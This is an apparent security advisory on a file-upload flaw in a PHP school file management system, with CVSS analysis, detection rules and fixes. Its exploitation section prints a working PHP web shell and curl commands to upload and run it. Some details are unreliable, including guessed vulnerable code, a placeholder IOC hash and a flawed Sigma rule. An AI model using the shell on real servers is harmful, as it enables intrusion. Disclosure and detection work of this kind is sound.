CVE-2025-15404

Executive Summary

CVE-2025-15404 is an unrestricted file upload vulnerability in Campcodes School File Management System 1.0. The flaw resides in the /save_file.php endpoint, where the File argument is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. With a CVSS score of 6.3 (Medium), this vulnerability can be exploited remotely without authentication, leading to potential remote code execution, data exfiltration, or full server compromise. As of this report, no official patch has been released by the vendor, and a public proof-of-concept (PoC) is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited file modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: Medium. The low complexity and public PoC make this a viable target for opportunistic attackers, though the impact is limited to low-level compromise.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of /save_file.php. The application fails to validate the file type, size, or content during the upload process. An attacker can craft a malicious file (e.g., a PHP web shell) and upload it via a standard HTTP POST request. The file is stored in a web-accessible directory (likely /uploads/ or similar), allowing the attacker to execute arbitrary commands on the server by accessing the uploaded file.

Root Cause: The $_FILES['File'] array is processed without checking the file extension or MIME type. The code likely uses move_uploaded_file() without any sanitization.

Attack Flow:

1. Attacker identifies the /save_file.php endpoint.
2. Attacker sends a POST request with a malicious PHP file (e.g., shell.php) in the File parameter.
3. The server saves the file to a predictable location (e.g., /uploads/shell.php).
4. Attacker accesses the uploaded file via HTTP, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Campcodes School File Management System 1.0):

<?php
// /save_file.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["File"]["name"]);
move_uploaded_file($_FILES["File"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Recommended):

<?php
// /save_file.php
$target_dir = "uploads/";
$allowed_types = array('jpg', 'png', 'pdf', 'docx');
$file_extension = strtolower(pathinfo($_FILES["File"]["name"], PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_types)) {
    die("Error: Invalid file type.");
}

$target_file = $target_dir . uniqid() . "." . $file_extension;
if (move_uploaded_file($_FILES["File"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Campcodes School File Management System 1.0.
• Network access to the /save_file.php endpoint.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Upload the file using curl:

   curl -F "File=@shell.php" http://target/save_file.php
   

3. Execute commands:

   curl http://target/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /save_file.php with unusual file extensions (e.g., .php, .phtml, .asp).
2. Check for files in the uploads/ directory that are not of expected types (images, documents).
3. Look for anomalous outbound connections from the web server after file uploads.

Response:

1. Isolate the affected server.
2. Remove any unauthorized files from the uploads directory.
3. Review web server logs for indicators of compromise.
4. Apply virtual patching (e.g., WAF rules) to block malicious file uploads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /save_file.php with Content-Type: multipart/form-data and file extension .php.
  • Outbound connections from the web server to unknown IPs on port 80/443.
• File System Indicators:
  • Unexpected files in /var/www/html/uploads/ with .php extension.
  • Files with recent modification timestamps in the uploads directory.

Detection Engineering

YARA Rule

rule CVE_2025_15404_Unrestricted_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2025-15404"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15404"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call)
}

Sigma Rule

title: CVE-2025-15404 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /save_file.php with PHP file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /save_file.php
        cs-uri-query|contains: 
            - ".php"
            - ".phtml"
            - ".php5"
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15404 Unrestricted File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/save_file.php"; http.request_body; content:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: Temporarily remove or disable the /save_file.php endpoint until a patch is applied.
2. Web Application Firewall (WAF): Deploy WAF rules to block uploads of executable files (e.g., .php, .phtml, .asp).
3. Directory Permissions: Ensure the uploads directory has noexec flag set (if using Linux) and is not directly accessible via the web server.

Long-Term Fix:

• Vendor Patch: Await an official patch from Campcodes. If none is forthcoming, consider migrating to a different file management system.
• Code Hardening: Implement file type validation, size limits, and rename uploaded files to prevent direct execution.

Workaround:

• Use .htaccess to deny execution of PHP files in the uploads directory:

  <Directory /var/www/html/uploads>
      php_flag engine off
  </Directory>
  

Valters IT
Securing Digital Frontiers